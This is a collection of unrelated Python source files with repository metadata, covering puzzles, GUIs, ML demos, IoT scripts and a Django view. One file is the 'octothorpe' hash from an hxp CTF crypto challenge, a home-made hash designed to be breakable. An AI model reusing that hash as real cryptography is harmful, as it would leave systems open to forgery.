# Backtracking # def totalNQueens(self, n: int) -> int: # diag1 = set() # diag2 = set() # used_cols = set() # # return self.helper(n, diag1, diag2, used_cols, 0) # # # def helper(self, n, diag1, diag2, used_cols, row): # if row == n: # return 1 # # solutions = 0 # # for col in range(n): # if row + col in diag1 or row - col in diag2 or col in used_cols: # continue # # diag1.add(row + col) # diag2.add(row - col) # used_cols.add(col) # # solutions += self.helper(n, diag1, diag2, used_cols, row + 1) # # diag1.remove(row + col) # diag2.remove(row - col) # used_cols.remove(col) # # return solutions # DFS def totalNQueens(self, n): self.res = 0 self.dfs([-1] * n, 0) return self.res def dfs(self, nums, index): if index == len(nums): self.res += 1 return # backtracking for i in range(len(nums)): nums[index] = i if self.valid(nums, index): self.dfs(nums, index + 1) def valid(self, nums, n): for i in range(n): if nums[i] == nums[n] or abs(nums[n] - nums[i]) == n - i: return False return True
22.811321
74
0.529363
d739efad8d4d3a11ccbfdc0f0f99510f5635612c
2,558
py
Python
hxpctf2020/nanothorpe/octothorpe.py
TalaatHarb/ctf-writeups
afeeb640e04834ecb91b8562d3bb44e693b36eb0
[ "Apache-2.0" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
HXP/2020/crypto/octothorpe/octothorpe.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
HXP/2020/crypto/octothorpe/octothorpe.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
#!/usr/bin/env python3 import math class octothorpe: digest_size = 16 block_size = 64 name = "octothorpe" state_size = 16 shift_count = 64 round_count = 20 initial_state = bytearray.fromhex('00112233445566778899aabbccddeeff') function = lambda i: math.cos(i ** 3) sbox = sorted(range(256), key=function) shift = [int(8 * s) % 8 for s in map(function, range(shift_count))] new = classmethod(lambda cls, data: cls(data)) copy = lambda self: octothorpe(_cache=self._cache[:], _length=self._length, _state=self._state[:]) digest = lambda self: bytes(self._finalize()) hexdigest = lambda self: self.digest().hex() def __init__(self, data: bytes = None, *, _cache: bytes = None, _length: int = None, _state: bytearray = None) -> None: self._cache = _cache or b'' self._length = _length or 0 self._state = _state or self.initial_state[:] assert len(self._state) == self.state_size, 'Invalid state size' if data: self.update(data) def update(self, data: bytes) -> None: self._cache += data while len(self._cache) >= self.block_size: block, self._cache = self._cache[:self.block_size], self._cache[self.block_size:] self._compress(block) self._length += self.block_size def _finalize(self) -> bytearray: clone = self.copy() clone._length += len(clone._cache) clone.update(b'\x80' + b'\x00' * ((self.block_size - 9 - clone._length) % self.block_size) + (8 * clone._length).to_bytes(8, 'little')) return clone._state def _compress(self, block: bytes) -> None: prev_state = lambda index: (index - 1) % self.state_size next_state = lambda index: (index + 1) % self.state_size rol = lambda value, shift, size: ((value << (shift % size)) | (value >> (size - (shift % size)))) & ((1 << size) - 1) ror = lambda value, shift, size: ((value >> (shift % size)) | (value << (size - (shift % size)))) & ((1 << size) - 1) for r in range(self.round_count): state = self._state[:] for i in range(self.block_size): j, jj = (i * r) % self.state_size, (i * r) % self.shift_count self._state[prev_state(j)] ^= self.sbox[block[i] ^ rol(state[j], self.shift[jj], 8)] self._state[next_state(j)] ^= self.sbox[block[i] ^ ror(state[j], self.shift[jj], 8)] if __name__ == '__main__': assert octothorpe(b'hxp').hexdigest() == '4e072c7a1872f7cdf3cb2cfc676b0311'
43.355932
143
0.60516
ad59ac01bbffbc37f6e707f41f1443be06e4b1ac
1,187
py
Python
Prototype/test.py
fowado/BauphysikSE1
eb8805196c8fbf99a879c40c5e0725d740c5a0de
[ "CC-BY-4.0" ]
4
2019-12-03T16:13:09.000Z
2019-12-11T23:22:58.000Z
Prototype/test.py
fowado/BauphysikSE1
eb8805196c8fbf99a879c40c5e0725d740c5a0de
[ "CC-BY-4.0" ]
65
2019-12-08T17:43:59.000Z
2020-08-14T15:26:21.000Z
Prototype/test.py
fowado/BauphysikSE1
eb8805196c8fbf99a879c40c5e0725d740c5a0de
[ "CC-BY-4.0" ]
null
null
null
from PyQt5 import QtCore, QtGui,QtWidgets from PyQt5.QtCore import * from PyQt5.QtGui import * import sys class PicButton(QtWidgets.QAbstractButton): def __init__(self, pixmap, pixmap_hover, pixmap_pressed, parent=None): super(PicButton, self).__init__(parent) self.pixmap = pixmap self.pixmap_hover = pixmap_hover self.pixmap_pressed = pixmap_pressed self.pressed.connect(self.update) self.released.connect(self.update) def paintEvent(self, event): pix = self.pixmap_hover if self.underMouse() else self.pixmap if self.isDown(): pix = self.pixmap_pressed painter = QtGui.QPainter(self) painter.drawPixmap(event.rect(), pix) def enterEvent(self, event): self.update() def leaveEvent(self, event): self.update() def sizeHint(self): return QtCore.QSize(200, 200) app = QtWidgets.QApplication(sys.argv) window = QtWidgets.QWidget() layout = QtWidgets.QHBoxLayout(window) button = PicButton(QtGui.QPixmap("images/1.png"), QtGui.QPixmap("images/2.png"), QtGui.QPixmap("images/3.png")) layout.addWidget(button) window.show() sys.exit(app.exec_())
28.261905
111
0.687447
0f5e6f591d81661afd9fad581050ae92d94bbd2e
1,046
py
Python
2imageclassify/ml.py
anjiang2016/rcnn-xilie
d68ead1504732bd92cde59f8246f9bb2ebc6fe5c
[ "MIT" ]
null
null
null
2imageclassify/ml.py
anjiang2016/rcnn-xilie
d68ead1504732bd92cde59f8246f9bb2ebc6fe5c
[ "MIT" ]
null
null
null
2imageclassify/ml.py
anjiang2016/rcnn-xilie
d68ead1504732bd92cde59f8246f9bb2ebc6fe5c
[ "MIT" ]
null
null
null
from sklearn.datasets import load_breast_cancer from sklearn.model_selection import train_test_split from sklearn.naive_bayes import GaussianNB from sklearn.metrics import accuracy_score import pdb pdb.set_trace() # Load dataset data = load_breast_cancer() # Organize our data label_names = data['target_names'] labels = data['target'] feature_names = data['feature_names'] features = data['data'] # Look at our data print(label_names) print('Class label = ', labels[0]) print(feature_names) print(features[0]) # Split our data train, test, train_labels, test_labels = train_test_split(features, labels, test_size=0.33, random_state=42) # Initialize our classifier gnb = GaussianNB() # Train our classifier model = gnb.fit(train, train_labels) # Make predictions preds = gnb.predict(test) print(preds) # Evaluate accuracy print(accuracy_score(test_labels, preds))
25.512195
74
0.654876
7e1f03280acd726bd3ebe2c693966ddd427d05bb
6,218
py
Python
21-fs-ias-lec/03-BACnetCore/src/core/security/verification.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
21-fs-ias-lec/03-BACnetCore/src/core/security/verification.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
21-fs-ias-lec/03-BACnetCore/src/core/security/verification.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
from ..storage.database_handler import DatabaseHandler, UnknownFeedError from .crypto import check_signature, check_in_order, check_content_integrity from ..interface.event import Event from ...log import create_logger logger = create_logger('Verification') class Verification: """ This class is used by the storage Controller to determine which feeds should be imported or exported. Thus, this class, especially the methods should_import() and should_export(), define the export/import rules. This class also has a method to validate an event on import -> check signature, hash, in-order. Since every imported event is verified, this does not have to be done on export. Feed Import rules: ------------- - MASTER feeds are always imported - Trusted & not blocked feeds are imported - Feeds must be in defined radius(trust radius) Radius == 1 -> are your own feeds Feed Export rules: ------------- - Own Master is always exported/proposed - trusted feeds that are not bocked are exported (NOTE: Master feeds from other Nodes can also be blocked!) Radius rules(defined by _check_in_radius()): --------------------------------------------- - Feed is in radius if it is trusted by a master you know in your social radius - One could for example add the rule that just non-blocked feeds are in radius """ def __init__(self, db_handler: DatabaseHandler): self._dataConn = db_handler self._hostid = self._dataConn.get_host_master_id() def verify_event_import(self, event: Event) -> bool: """ It uses should_import_feed to validate existence and import_rules! TODO: can be separate? This method verifies if an event is valid and thus can be imported into the database/a feed. It performs the following checks: - is sequence number correct? -> if it has prev event, check previous hash property - is the signature correct - if the event has a content is it integer Parameters ---------- event the event to be validated Returns ------- bool whether verification has been successful. """ feed_id = event.meta.feed_id # Check if feed exists and should be imported, then checks signature and integrity if self.should_import_feed(feed_id, event.content.identifier) and check_signature(event) and check_content_integrity(event): # print("Policies fulfilled, signature valid, content hash ok!") try: curr_seq = self._dataConn.get_current_seq_no(event.meta.feed_id) except UnknownFeedError: curr_seq = -1 if curr_seq >= 0: # print("there is a previous event...") last_event = self._dataConn.get_event(event.meta.feed_id, curr_seq) return check_in_order(event, last_event) else: # print("feed has not been seen before...") return check_in_order(event, last_event=None) else: return False def should_import_feed(self, feed_id, content_identifier): """ This method takes a feed_id and name and checks whether the feed fulfills the import rules. Parameters ---------- feed_id id/pubkey of the feed to check the rules for feed_name The name of the feed(= first part of content_id before /) Returns ------- true/false whether the feed fulfills the import rules """ if self._hostid is None: self._hostid = self._dataConn.get_host_master_id() # If the given feed is a master feed we will always accept it. if content_identifier.split("/")[0] == 'MASTER': return True else: if self._is_blocked(feed_id, self._hostid): return False if self._is_trusted(feed_id, self._hostid): return True if self._dataConn.get_radius() == 1: return False else: return self._check_in_radius(feed_id) def should_export_feed(self, feed_id): """ This method checks whether a feed in your database should be exported or proposed to others. Just trusted feeds, non-blocked feeds and masters are exported/proposed Parameters ---------- feed_id Feed_ID to check exportability Returns ------- true/false whether the events of a given feed_id fulfill the export-rules """ if self._hostid is None: self._hostid = self._dataConn.get_host_master_id() if feed_id == self._hostid: return True return (not self._is_blocked(feed_id, self._hostid)) and \ (self._is_trusted(feed_id, self._hostid) or self._is_known_master(feed_id)) def _is_blocked(self, feed_id, by_host): return feed_id in set(self._dataConn.get_blocked(by_host)) def _is_known_master(self, feed_id): return feed_id in set(self._dataConn.get_all_master_ids()) def _is_trusted(self, feed_id, by_host): return feed_id in set(self._dataConn.get_trusted(by_host)) def _check_in_radius(self, feed_id): """ This method checks whether a feed is in your social radius (not the technical distance). It looks for masters within your radius and checks whether the given feed is in the trusted list of any master. In radius = a master feed you know trusts this feed Parameters ---------- feed_id the feed_id/pubkey of the feed you want to check if its in radius Returns ------- true/false whether feed_id is in radius or not """ master_in_radius = self._dataConn.get_feed_ids_in_radius() if master_in_radius is None: return False # check if the feed_id is inside the social radius for master in master_in_radius: feed_ids = self._dataConn.get_trusted(master) if feed_ids is not None: return feed_id in feed_ids return False
40.376623
132
0.635252
0e41be2711888ce53a421b2c3efcf58864ce7194
8,933
py
Python
MainWindow.py
siej88/FuzzyACO
989a58049c8417cd023cfc312fb99d2649333ca7
[ "MIT" ]
null
null
null
MainWindow.py
siej88/FuzzyACO
989a58049c8417cd023cfc312fb99d2649333ca7
[ "MIT" ]
null
null
null
MainWindow.py
siej88/FuzzyACO
989a58049c8417cd023cfc312fb99d2649333ca7
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ UNIVERSIDAD DE CONCEPCION Departamento de Ingenieria Informatica y Ciencias de la Computacion Memoria de Titulo Ingenieria Civil Informatica DETECCION DE BORDES EN IMAGENES DGGE USANDO UN SISTEMA HIBRIDO ACO CON LOGICA DIFUSA Autor: Sebastian Ignacio Espinoza Jimenez Patrocinante: Maria Angelica Pinninghoff Junemann """ import time import math from PyQt4 import QtGui as gui from PyQt4 import QtCore as cor from PyQt4 import uic import DataHandler as dat import ImageHandler as imh import QImageHandler as qih import FuzzyMachine as fm import AntColonyOptimizer as aco import LaneDialog as lad import ParameterDialog as pad import RuleDialog as rud import BinaryDialog as bid import CategoryDialog as cad import HelpDialog as hed class MainWindow(gui.QMainWindow): """FuzzyACO GUI""" def __init__(self): """MainWindow MainWindow()""" gui.QMainWindow.__init__(self) self.ui = uic.loadUi('fuzzyaco.ui') self.ui.statusBar().showMessage('Activo.') self.ui.show() self.ui.connect(self.ui.exitButton, cor.SIGNAL('clicked()'), gui.qApp, cor.SLOT('quit()')) self.ui.connect(self.ui.imageButton, cor.SIGNAL('clicked()'), self.loadImage) self.ui.connect(self.ui.laneButton, cor.SIGNAL('clicked()'), self.openLaneDialog) self.ui.connect(self.ui.parameterButton, cor.SIGNAL('clicked()'), self.openParameterDialog) self.ui.connect(self.ui.fuzzyRuleButton, cor.SIGNAL('clicked()'), self.openRuleDialog) self.ui.connect(self.ui.fuzzyCategoryButton, cor.SIGNAL('clicked()'), self.openCategoryDialog) self.ui.connect(self.ui.loadConfigurationButton, cor.SIGNAL('clicked()'), self.loadConfiguration) self.ui.connect(self.ui.saveConfigurationButton, cor.SIGNAL('clicked()'), self.saveConfiguration) self.ui.connect(self.ui.runButton, cor.SIGNAL('clicked()'), self.runFuzzyACO) self.ui.connect(self.ui.binaryButton, cor.SIGNAL('clicked()'), self.openBinaryDialog) self.ui.connect(self.ui.helpButton, cor.SIGNAL('clicked()'), self.openHelpDialog) self._dataHandler = dat.DataHandler() self._imageHandler = imh.ImageHandler() self._qImageHandler = qih.QImageHandler() self._fuzzyMachine = fm.FuzzyMachine() self._antColonyOptimizer = aco.AntColonyOptimizer() self._parameterSet = {} self._categorySet = {} self._ruleSet = [] self._loadConfiguration('config\\default.cfg') self._imageMatrix = None self._imageFlag = False self._binaryFlag = False self._isoData = 0 def loadImage(self): """loadImage()""" self._showMessage('Cargando Imagen...') path = self._openImageFile() if(len(path) > 0): self._imageMatrix = self._imageHandler.getGrayscaleMatrix(path) imageQPixmap = self._qImageHandler.getQPixmap(self._imageMatrix) pixmap = self._scalePixmap(imageQPixmap) self.ui.imageLabel.setPixmap(pixmap) self._imageFlag = True self._binaryFlag = False self._showMessage('Activo.') def runFuzzyACO(self): """runFuzzyACO()""" if (self._imageFlag == False): self._showMessage('Debe cargar una imagen primero.') else: maxAnts = self._getMaxAntCount() if (self._parameterSet['antCount'] > maxAnts): self._showMessage('Debe reducir cantidad de hormigas (Max = '+ str(maxAnts) + ').') else: self._setGUI(False) self._showMessage('Procesando...') start = time.time() heuristicMatrix = self._fuzzyMachine.generateHeuristicMatrix(self._imageMatrix, self._categorySet, self._parameterSet, self._ruleSet) pheromoneMatrix = self._antColonyOptimizer.generatePheromoneMatrix(self._imageMatrix, heuristicMatrix, self._parameterSet) self._isoData = int(self._imageHandler.computeIsodata(pheromoneMatrix)*255) bid.BinaryDialog(self, pheromoneMatrix, self._isoData) end = time.time() runTime = end - start self._showMessage('Ejecucion Finalizada. Tiempo = ' + str(runTime)) log = open('runlog.txt', 'a') log.write(str(runTime) + '\n') log.close() self._setGUI(True) self._binaryFlag = True def openBinaryDialog(self): """openBinaryDialog()""" if (self._binaryFlag == True): pheromoneMatrix = self._antColonyOptimizer.getPheromoneMatrix() bid.BinaryDialog(self, pheromoneMatrix, self._isoData) else: self._showMessage('Debe ejecutar el programa primero.') def openLaneDialog(self): """openLaneDialog()""" if self._imageFlag == False: self._showMessage('Debe cargar una imagen primero.') else: lad.LaneDialog(self, self._imageMatrix) self._showMessage('Activo.') def openParameterDialog(self): """openParameterDialog()""" antCountHint = self._getAntCountHint() pad.ParameterDialog(self, self._parameterSet, antCountHint) def openRuleDialog(self): """openRuleDialog()""" rud.RuleDialog(self, self._ruleSet, self._categorySet) def openCategoryDialog(self): """openCategoryDialog()""" cad.CategoryDialog(self, self._ruleSet, self._categorySet) def loadConfiguration(self): """loadConfiguration()""" self._showMessage('Cargando Configuracion...') caption = 'Seleccionar Archivo' directory = '' filters = 'Configuracion FuzzyACO (*.cfg)' path = gui.QFileDialog.getOpenFileName(self, caption, directory, filters) if len(path) > 0: self._loadConfiguration(path) self._showMessage('Activo.') def saveConfiguration(self): """saveConfiguration()""" self._showMessage('Guardando Configuracion...') caption = 'Seleccionar Archivo' directory = '' filters = 'Configuracion FuzzyACO (*.cfg)' path = gui.QFileDialog.getSaveFileName(self, caption, directory, filters) if len(path) > 0: self._dataHandler.saveConfiguration(path) self._showMessage('Activo.') def openHelpDialog(self): """openHelpDialog()""" hed.HelpDialog(self) def _getAntCountHint(self): """int _getAntCountHint()""" if self._imageFlag == True: height = self._imageMatrix.shape[0] width = self._imageMatrix.shape[1] return int(math.sqrt(width*height)) else: return 0 def _getMaxAntCount(self): """int _getMaxAntCount()""" height = self._imageMatrix.shape[0] width = self._imageMatrix.shape[1] return width*height def _setGUI(self, state): """_setGUI(bool state)""" self.ui.imageButton.setEnabled(state) self.ui.fuzzyCategoryButton.setEnabled(state) self.ui.fuzzyRuleButton.setEnabled(state) self.ui.parameterButton.setEnabled(state) self.ui.loadConfigurationButton.setEnabled(state) self.ui.saveConfigurationButton.setEnabled(state) self.ui.helpButton.setEnabled(state) self.ui.exitButton.setEnabled(state) self.ui.runButton.setEnabled(state) self.ui.laneButton.setEnabled(state) self.ui.binaryButton.setEnabled(state) def _loadConfiguration(self, path): """_loadConfiguration(str path)""" self._dataHandler.loadConfiguration(path) self._parameterSet = self._dataHandler.getParameters() self._ruleSet = self._dataHandler.getRules() self._categorySet = self._dataHandler.getCategories() def _scalePixmap(self, pixmap): """PyQt4.QtGui.QPixmap _scalePixmap(PyQt4.QtGui.QPixmap pixmap)""" width = self.ui.imageLabel.width() height = self.ui.imageLabel.height() return self._qImageHandler.scaleQPixmap(pixmap, width, height) def _openImageFile(self): """str _openImageFile()""" caption = 'Seleccionar Imagen' directory = '' filters = 'Archivos de Imagen (*.png *.jpg *.bmp)' path = gui.QFileDialog.getOpenFileName(self, caption, directory, filters) return path def _showMessage(self, message): """_showMessage(str message)""" self.ui.statusBar().showMessage(message)
40.604545
150
0.622411
0e9fb181ad75d8dffaac52fad7d12c958be0b975
864
py
Python
rating/resolvable.py
thegreenwebfoundation/green-spider
68f22886178bbe5b476a4591a6812ee25cb5651b
[ "Apache-2.0" ]
19
2018-04-20T11:03:41.000Z
2022-01-12T20:58:56.000Z
rating/resolvable.py
thegreenwebfoundation/green-spider
68f22886178bbe5b476a4591a6812ee25cb5651b
[ "Apache-2.0" ]
160
2018-04-05T16:12:59.000Z
2022-03-01T13:01:27.000Z
rating/resolvable.py
thegreenwebfoundation/green-spider
68f22886178bbe5b476a4591a6812ee25cb5651b
[ "Apache-2.0" ]
8
2018-11-05T13:07:57.000Z
2021-06-11T11:46:43.000Z
""" This gives a score if one of the input URL's hostnames was resolvable """ from rating.abstract_rater import AbstractRater class Rater(AbstractRater): rating_type = 'boolean' default_value = False depends_on_checks = ['dns_resolution'] max_score = 1 def __init__(self, check_results): super().__init__(check_results) def rate(self): value = self.default_value score = 0 count = 0 for url in self.check_results['dns_resolution']: if self.check_results['dns_resolution'][url]['resolvable_ipv4']: count += 1 if count > 0: value = True score = self.max_score return { 'type': self.rating_type, 'value': value, 'score': score, 'max_score': self.max_score, }
24
76
0.574074
add1ea8b55214591c4e163ad791eba3da2af07fb
403
py
Python
hvliotyamls/domocup.py
feykmeelyahoo/k8siot
51cb8924602ec405ceff4b4627da7e52a84ca10c
[ "Apache-2.0" ]
1
2019-06-21T21:17:36.000Z
2019-06-21T21:17:36.000Z
hvliotyamls/domocup.py
feykmeelyahoo/k8siot
51cb8924602ec405ceff4b4627da7e52a84ca10c
[ "Apache-2.0" ]
null
null
null
hvliotyamls/domocup.py
feykmeelyahoo/k8siot
51cb8924602ec405ceff4b4627da7e52a84ca10c
[ "Apache-2.0" ]
null
null
null
import paho.mqtt.client as mqtt from time import sleep import random broker="test.mosquitto.org" topic_pub='v1/devices/me/telemetry' client = mqtt.Client() client.username_pw_set("C1_TEST_TOKEN") client.connect('104.248.38.58', 31629, 1) for i in range(50000): x = random.randrange(20, 100) print x msg = '{"windSpeed":"'+ str(x) + '"}' client.publish(topic_pub, msg) sleep(1)
19.190476
41
0.687345
70c636e22f18c48ebe676cb13bcb75038e11020f
523
py
Python
leetcode/311-Sparse-Matrix-Multiplication/SparseMatMul_002.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-04-07T15:08:53.000Z
2016-04-07T15:08:53.000Z
leetcode/311-Sparse-Matrix-Multiplication/SparseMatMul_002.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/311-Sparse-Matrix-Multiplication/SparseMatMul_002.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution(object): def multiply(self, A, B): """ :type A: List[List[int]] :type B: List[List[int]] :rtype: List[List[int]] """ m, q, n = len(A), len(B), len(B[0]) # C = [[0] * n] * m C = [[0] * n for _ in range(m)] for i in range(m): for k in range(q): if A[i][k]: for j in range(n): if B[k][j]: C[i][j] += A[i][k] * B[k][j] return C
29.055556
56
0.34608
aae24d481b1bb2589f4a8018c9cac83485043b24
812
py
Python
pocketthrone/tools/imagetomap.py
herrschr/pocket-throne
819ebae250f45b0a4b15a8320e2836c0b5113528
[ "BSD-2-Clause" ]
4
2016-06-05T16:48:04.000Z
2020-03-23T20:06:06.000Z
pocketthrone/tools/imagetomap.py
herrschr/pocket-throne
819ebae250f45b0a4b15a8320e2836c0b5113528
[ "BSD-2-Clause" ]
null
null
null
pocketthrone/tools/imagetomap.py
herrschr/pocket-throne
819ebae250f45b0a4b15a8320e2836c0b5113528
[ "BSD-2-Clause" ]
null
null
null
image_path = "../../westeros.tif" mod_name= "westeros" map_name = "westeros_full" WATER = (0, 138, 255) GRASS = (0, 198, 16) FOREST = (16, 138, 25) MOUNTAINS = (123, 125, 123) DIRT = (165, 125, 82) from PIL import Image image = Image.open(image_path) width = image.size[0] height = image.size[1] lines = [] pix = image.load() # load colors to lines for iy in range(0, height -1): linestr = "\"" for ix in range(0, width -1): color = pix[ix, iy] lds = "W" if color == GRASS: lds = "G" elif color == FOREST: lds = "F" elif color == MOUNTAINS: lds = "M" elif color == DIRT: lds = "D" linestr += lds linestr += "\"," lines.append(linestr) mapfile = open("../../mods/" + mod_name + "/maps/" + map_name + ".json", "w") for line in lines: mapfile.write(line + "\n") mapfile.close()
19.333333
77
0.597291
2ad7db7e11492e61be2b4349fa43d2a74235c663
721
py
Python
display/_information_menu_view.py
ihrigb/stagebuzzer
dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680
[ "Apache-2.0" ]
null
null
null
display/_information_menu_view.py
ihrigb/stagebuzzer
dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680
[ "Apache-2.0" ]
null
null
null
display/_information_menu_view.py
ihrigb/stagebuzzer
dbce1c5fa59a6f22e74d84ccc96d4d1a28a5b680
[ "Apache-2.0" ]
null
null
null
from ._button_lights import ButtonLights from ._view import View from ._display import Display from information import get_ip_address information_menu_view_name = "information_menu_view" class InformationMenuView(View): def __init__(self, button_lights: ButtonLights): super().__init__(button_lights) def name(self): return information_menu_view_name def esc(self, display: Display): display.switch_view("menu_view") def draw(self): self.write_line(0, "Information") self.write_line(1, "") self.write_line(2, "IP: {}".format(get_ip_address())) self.write_line(3, "Version: 0.1") self.set_button_lights(esc=True) self.flush()
25.75
61
0.693481
2dc50c05bb3437d4ca9383ffff609a09e691c741
1,075
py
Python
books/PythonAutomate/csv_json_files/csv_remove_header.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/csv_json_files/csv_remove_header.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/csv_json_files/csv_remove_header.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
"""csv_remove_header.py removeCsvHeader 디렉터리에 있는 CSV 파일들의 헤더 없애고 header_removed 디렉터리에 생성 """ import os import csv os.makedirs("header_removed", exist_ok=True) # Loop through every file in the current working directory dir_name = "removeCsvHeader" for folder, sub_folder, file_names in os.walk(dir_name): for file_name in file_names: if not file_name.endswith(".csv"): continue print(f"Removing head from {file_name}") # Read the CSV file in (skipping first row) csv_rows = [] csv_file_obj = open(os.path.join(folder, file_name)) csv_reader = csv.reader(csv_file_obj) for row in csv_reader: if csv_reader.line_num == 1: continue # skip first row csv_rows.append(row) csv_file_obj.close() # Write out the CSV file csv_file_obj = open(os.path.join("header_removed", file_name), "w", newline="") csv_writer = csv.writer(csv_file_obj) for row in csv_rows: csv_writer.writerow(row) csv_file_obj.close()
29.861111
87
0.647442
930775f639dde6a3ebe5fb36f838e916ab74d25d
2,258
py
Python
src/user/views.py
oguzhanakan0/covidlab-server
68ea4e6cd3b1244117ae43275335896b911a9b2a
[ "MIT" ]
null
null
null
src/user/views.py
oguzhanakan0/covidlab-server
68ea4e6cd3b1244117ae43275335896b911a9b2a
[ "MIT" ]
1
2022-03-25T05:33:19.000Z
2022-03-25T05:33:19.000Z
src/user/views.py
oguzhanakan0/covidlab-server
68ea4e6cd3b1244117ae43275335896b911a9b2a
[ "MIT" ]
null
null
null
import json import firebase_admin from firebase_admin import credentials from firebase_admin import auth from django.http import JsonResponse from .models import User from django.forms.models import model_to_dict import datetime from django.utils import timezone # cred = credentials.Certificate("/Users/oguzhanakan/Desktop/iquit-507f7-firebase-adminsdk-go447-bc8b2413f2.json") # Local Creds # cred = credentials.Certificate("src/firebase-credentials.json") # Local Creds # default_app = firebase_admin.initialize_app(cred) def sign_in(request): pass # print("signin request received.") # # print(request.body) # Debug # # try: # d = json.loads(request.body) # id_token = d["token"] # _user = auth.verify_id_token(id_token) # # print(f"_user: {_user}") # Debug # user, created = User.objects.get_or_create( # uid=_user["uid"], # auth_source=_user["firebase"]["sign_in_provider"], # email=_user["email"] # ) # # print(f"created?: {created}") # Debug # if created: # # print(f"setting first_joined to {datetime.date.today()}") # Debug # user.first_joined = timezone.now() # user.save() # else: # user.last_login = timezone.now() # user.save() # # print(f"not created: {user.email}, {user.uid}, {user.id}") # token, created = Token.objects.get_or_create(user=user) # return JsonResponse({ # "success": True, # "user": model_to_dict(user, fields=["first_name", "last_name", "is_info_complete", "email", "username"]) # }) # # except: # # return JsonResponse({ # # "success": False # # }) def update_user(request): print(request.body) # Debug try: d = json.loads(request.body) d["is_info_complete"] = True # print(d) # Debug query = User.objects.filter(uid=d["uid"]) query.update(**d) return JsonResponse({ "success": True, "user": model_to_dict(query[0], fields=["first_name", "last_name", "is_info_complete", "email", "username", "birth_date"]) }) except Exception as e: return JsonResponse({ "success": False, "message": str(e) })
33.205882
134
0.615146
9318698c7ccd2eb4c0aea1440b8fad256f8cbb98
318
py
Python
python/coursera_python/WESLEYAN/week4/t_1.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/coursera_python/WESLEYAN/week4/t_1.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/coursera_python/WESLEYAN/week4/t_1.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
def problem4_1(wordlist): print(wordlist) wordlist.sort(key=str.lower) print(wordlist) #firstline = ["Happy", "families", "are", "all", "alike;", "every", \ # "unhappy", "family", "is", "unhappy", "in", "its", "own", \ # "way.", "Leo Tolstoy", "Anna Karenina"] #problem4_1(firstline)
26.5
74
0.572327
35e6dbcd2288a59185fde172b48ed1238fd92372
715
py
Python
Raspberry-Pi/flask_socketio_motion/app.py
AravindVasudev/code-dump
9b67c3cd1e8673b5ce4a90e5b17d69c82ad55298
[ "MIT" ]
null
null
null
Raspberry-Pi/flask_socketio_motion/app.py
AravindVasudev/code-dump
9b67c3cd1e8673b5ce4a90e5b17d69c82ad55298
[ "MIT" ]
1
2021-06-01T21:51:54.000Z
2021-06-01T21:51:54.000Z
Raspberry-Pi/flask_socketio_motion/app.py
AravindVasudev/code-dump
9b67c3cd1e8673b5ce4a90e5b17d69c82ad55298
[ "MIT" ]
null
null
null
from flask import Flask, render_template from flask_socketio import SocketIO import RPi.GPIO as GPIO import threading import time # RPi GPIO init MOTION_SENSOR = 18 GPIO.setmode(GPIO.BCM) GPIO.setup(MOTION_SENSOR, GPIO.IN) # App Instance app = Flask(__name__) app.config['SECRET_KEY'] = 'shamballa' # SocketIO init socketio = SocketIO(app) # Sensor thread def MotionState(): while True: time.sleep(1) socketio.emit('motion', GPIO.input(MOTION_SENSOR)) thread = threading.Thread(target=MotionState) thread.start() # Index @app.route('/') def index(): return render_template('index.html') # Start server # if __name__ == '__main__': # app.run(host='0.0.0.0') # socketio.run(app)
19.324324
58
0.714685
17a9d7f41076d1586bd7efd430cb6a446a70fc4e
1,957
py
Python
cs/lambda_cs/08_interview_prep/notes/merge_point_of_two_linked_lists.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
cs/lambda_cs/08_interview_prep/notes/merge_point_of_two_linked_lists.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
cs/lambda_cs/08_interview_prep/notes/merge_point_of_two_linked_lists.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
